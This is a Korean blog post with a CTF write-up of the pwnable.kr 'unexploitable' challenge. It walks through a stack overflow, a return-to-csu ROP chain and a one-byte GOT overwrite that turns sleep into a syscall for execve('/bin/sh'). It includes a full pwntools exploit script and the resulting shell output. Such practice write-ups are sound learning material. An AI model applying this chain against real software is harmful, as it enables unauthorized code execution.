본문 바로가기

CTF_Write_UP/pwnable.kr

[pwnable.kr] unexploitable

시작

안녕하세요 :D

오랜만에 들고 온 pwnable.kr 문제, unexploitable 입니다!!

무려 500점 짜리지만.. 이게 왜 여기서 나오나 싶을 정도로 간단한 문제였어요.

return to csu 기법을 사랑하기 때문에 ㅎㅎㅎ.. 이 문제 확실하게 잡구 넘어가겠습니다 ㅎㅎ

Write UP

I don’t think this is exploitable bug. do you agree?

(task is patched. unintended easy solutions will not work from now :P)

ssh unexploitable@pwnable.kr -p2222 (pw:guest)

unexploitable@prowl:~$ cat unexploitable.c
#include 
void main(){
        // no brute forcing
        sleep(3);
        // exploit me
        int buf[4];
        read(0, buf, 1295);
}

워.. 간단하네요 ㅋㅋㅋㅋㅋㅋㅋ IDA도 없는 불쌍한 저에게 딱 맞는 문제에요 아주

gdb로 볼 것도 없..진 않죠?? 보호기법이랑 dummy가 있나 없나 체크해봐야 해요.

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$ pd main
Dump of assembler code for function main:
   0x0000000000400544 <+0>:     push   rbp
   0x0000000000400545 <+1>:     mov    rbp,rsp
   0x0000000000400548 <+4>:     sub    rsp,0x10
   0x000000000040054c <+8>:     mov    edi,0x3
   0x0000000000400551 <+13>:    mov    eax,0x0
   0x0000000000400556 <+18>:    call   0x400450 <sleep@plt>
   0x000000000040055b <+23>:    lea    rax,[rbp-0x10]
   0x000000000040055f <+27>:    mov    edx,0x50f
   0x0000000000400564 <+32>:    mov    rsi,rax
   0x0000000000400567 <+35>:    mov    edi,0x0
   0x000000000040056c <+40>:    mov    eax,0x0
   0x0000000000400571 <+45>:    call   0x400430 <read@plt>
   0x0000000000400576 <+50>:    leave
   0x0000000000400577 <+51>:    ret
End of assembler dump.

NX만 걸려있는 걸 보니 rop의 냄새가 솔솔 납니다!!

read()의 두 번째 인자인 RSI 레지스터를 보니 rbp-0x10, 딱 16 bytes만큼 버퍼가 할당되어 있네요.

따라서 24 bytes로 SFP까지 덮은 후 RET을 조작할 수 있습니다.

unexploitable@prowl:~$ objdump -d ./unexploitable | grep "pop rdi"
unexploitable@prowl:~$

가젯은 깔끔할 정도로 없습니다….

하나도 없을 줄은 몰랐는데ㅠㅠㅠㅠㅠ 이제 우리에게 남은 것은 RAX를 이용한 syscall과 csu 가젯밖에 없어요

unexploitable@prowl:~$ objdump -M intel -d ./unexploitable

.

.

  4005d0:       4c 89 fa                mov    rdx,r15
  4005d3:       4c 89 f6                mov    rsi,r14
  4005d6:       44 89 ef                mov    edi,r13d
  4005d9:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
  4005dd:       48 83 c3 01             add    rbx,0x1
  4005e1:       48 39 eb                cmp    rbx,rbp
  4005e4:       75 ea                   jne    4005d0 <__libc_csu_init+0x50>
  4005e6:       48 8b 5c 24 08          mov    rbx,QWORD PTR [rsp+0x8]
  4005eb:       48 8b 6c 24 10          mov    rbp,QWORD PTR [rsp+0x10]
  4005f0:       4c 8b 64 24 18          mov    r12,QWORD PTR [rsp+0x18]
  4005f5:       4c 8b 6c 24 20          mov    r13,QWORD PTR [rsp+0x20]
  4005fa:       4c 8b 74 24 28          mov    r14,QWORD PTR [rsp+0x28]
  4005ff:       4c 8b 7c 24 30          mov    r15,QWORD PTR [rsp+0x30]
  400604:       48 83 c4 38             add    rsp,0x38
  400608:       c3                      ret

csu 부분은 쪼끔.. 이상하지만 잘 살아 있습니다.

일단 이 부분을 이용해서 read()를 호출하고, return 되는 값을 이용해 syscall을 때리면 쉘이 똑 떨어질 것 같아요.

시나리오는 다음과 같습니다.

1. read(0, .bss, 8)/bin/sh\x00 입력

2. read(0, sleep@got, 1), 하위 1 byte overwrite로 sleep()을 syscall 가젯으로 바꾸기!!

3. read(0, .data, 59)로 return 값, RAX 레지스터를 execve()의 syscall number인 59로 설정

4. sleep() == syscall 호출!!!

이 시나리오를 짤 때 두 가지 궁금한 점이 있었어요.

첫 번째는 1 byte overwrite로 syscall 가젯으로 바뀐다는 것..

offset은 일정하기 때문에 하위 1 byte는 바뀌지 않는다고 해요.

때문에 sleep@got의 하위 1 byte를 sleep() 함수 안에 있는 syscall의 하위 1 byte로 덮어준다면

syscall로 작용합니다.

gdb-peda$ pd sleep
Dump of assembler code for function __sleep:
   0x00007f20de877230 <+0>:     push   rbp
   0x00007f20de877231 <+1>:     push   rbx
   0x00007f20de877232 <+2>:     mov    eax,edi
   0x00007f20de877234 <+4>:     sub    rsp,0x18
   0x00007f20de877238 <+8>:     mov    rbx,QWORD PTR [rip+0x2f7c39]        # 0x7f20deb6ee78
   0x00007f20de87723f <+15>:    mov    rdi,rsp
   0x00007f20de877242 <+18>:    mov    rsi,rsp
   0x00007f20de877245 <+21>:    mov    QWORD PTR [rsp+0x8],0x0
   0x00007f20de87724e <+30>:    mov    QWORD PTR [rsp],rax
   0x00007f20de877252 <+34>:    mov    ebp,DWORD PTR fs:[rbx]
   0x00007f20de877255 <+37>:    call   0x7f20de8772e0 
   0x00007f20de87725a <+42>:    test   eax,eax
   0x00007f20de87725c <+44>:    js     0x7f20de877270 <__sleep+64>
   0x00007f20de87725e <+46>:    mov    DWORD PTR fs:[rbx],ebp
   0x00007f20de877261 <+49>:    add    rsp,0x18
   0x00007f20de877265 <+53>:    xor    eax,eax
   0x00007f20de877267 <+55>:    pop    rbx
   0x00007f20de877268 <+56>:    pop    rbp
   0x00007f20de877269 <+57>:    ret
   0x00007f20de87726a <+58>:    nop    WORD PTR [rax+rax*1+0x0]
   0x00007f20de877270 <+64>:    mov    eax,DWORD PTR [rsp]
   0x00007f20de877273 <+67>:    add    rsp,0x18
   0x00007f20de877277 <+71>:    pop    rbx
   0x00007f20de877278 <+72>:    pop    rbp
   0x00007f20de877279 <+73>:    ret
End of assembler dump.
gdb-peda$ pd nanosleep
Dump of assembler code for function nanosleep:
   0x00007f20de8772e0 <+0>:     cmp    DWORD PTR [rip+0x2fd459],0x0        # 0x7f20deb74740 <__libc_multiple_threads>
   0x00007f20de8772e7 <+7>:     jne    0x7f20de8772f9 <nanosleep+25>
   0x00007f20de8772e9 <+0>:     mov    eax,0x23
   0x00007f20de8772ee <+5>:     syscall

sleep() 함수를 디스어셈블 해봤습니다.

nanosleep을 호출하고 그 안에 syscall이 있네요. 하위 1 byte는 \xee 입니다.

이걸 sleep@got에 덮어줄거에요.

두 번째 궁금증은, csu 가젯으로 rop chain을 만드는데 그냥 call 부분에 syscall을 넣어도 될까? 였습니다.

결론은.. 되네요. 신기합니다 ㅋㅋㅋㅋㅋ..

결국 다음과 같은 익스가 태어났습니다.

#!/usr/bin/python

from pwn import *

#context.log_level = "debug"

p = process("/home/unexploitable/unexploitable")

read_got = 0x601000
sleep_got = 0x601010
data = 0x601018
bss = 0x601028
csu0 = 0x4005e6
csu1 = 0x4005d0

payload = ""

payload += "A" * 24

payload += p64(csu0)
payload += p64(0)
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(0)
payload += p64(data)
payload += p64(len("/bin/sh\x00"))
payload += p64(csu1)

payload += p64(0)
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(0)
payload += p64(sleep_got)
payload += p64(1)
payload += p64(csu1)

payload += p64(0)
payload += p64(0)
payload += p64(1)
payload += p64(read_got)
payload += p64(0)
payload += p64(bss)
payload += p64(59)
payload += p64(csu1)

payload += p64(0)
payload += p64(0)
payload += p64(1)
payload += p64(sleep_got)
payload += p64(data)
payload += p64(0)
payload += p64(0)
payload += p64(csu1)

sleep(5)

p.send(payload)
sleep(1)

p.send("/bin/sh\x00")
sleep(1)
p.send("\xee")
sleep(1)
p.send("A" * 59)

p.interactive()
$ id
uid=1074(unexploitable) gid=1074(unexploitable) egid=1075(unexploitable_pwn) groups=1075(unexploitable_pwn),1074(unexploitable)
$ cat /home/unexploitable/flag
[FLAG]

Exploit!!

마무리

뭔가 sigreturn을 써서 푸는 방법도 있을 것 같은데

싸지방 시간이 벌써..ㅎㅎ..

뜬금없는 500점짜리 문제였지만 syscall로 어찌어찌 풀어냈습니다!!

급하게 써서 글이 정신없네요ㅠㅠㅠ 나중에 수정해야겠습니다.

감사합니다 :D

'CTF_Write_UP > pwnable.kr' 카테고리의 다른 글

[pwnable.kr] horcruxes  (0) 2019.06.29
[pwnable.kr] fsb  (0) 2019.06.26
pwnable.kr : uaf 풀이  (0) 2019.04.18
pwnable.kr : lotto 풀이  (0) 2019.04.17
pwnable.kr : shellshock 풀이  (0) 2019.04.16